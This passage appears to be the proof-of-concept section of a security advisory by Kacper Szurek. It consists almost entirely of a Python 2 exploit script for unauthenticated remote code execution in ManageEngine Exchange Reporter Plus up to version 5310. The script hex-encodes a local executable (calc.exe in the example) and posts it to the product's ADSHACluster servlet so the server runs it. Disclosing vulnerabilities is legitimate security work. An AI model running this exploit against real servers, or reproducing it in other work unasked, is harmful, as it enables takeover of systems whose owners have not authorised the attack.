2. Proof of Concept

```python

import urllib

file_to_execute = "calc.exe"

ip = "192.168.1.105"

def to_hex(s):

lst = []

for ch in s:

hv = hex(ord(ch)).replace('0x', '')

if len(hv) == 1:

hv = '0'+hv

lst.append(hv)

return reduce(lambda x,y:x+y, lst)

print "ManageEngine Exchange Reporter Plus <= 5310"

print "Unauthenticated Remote Code Execution"

print "by Kacper Szurek"

print "https://security.szurek.pl/"

print "https://twitter.com/KacperSzurek"

print "https://www.youtube.com/c/KacperSzurek"

params = urllib.urlencode({'MTCALL': "nativeClient", "BCP_RLL" : "0102", 'BCP_EXE': to_hex(open(file_to_execute, "rb").read())})

f = urllib.urlopen("http://{}:8181/exchange/servlet/ADSHACluster".format(ip), params)

if '{"STATUS":"error"}' in f.read():

print "OK"

else:

print "ERROR"

```
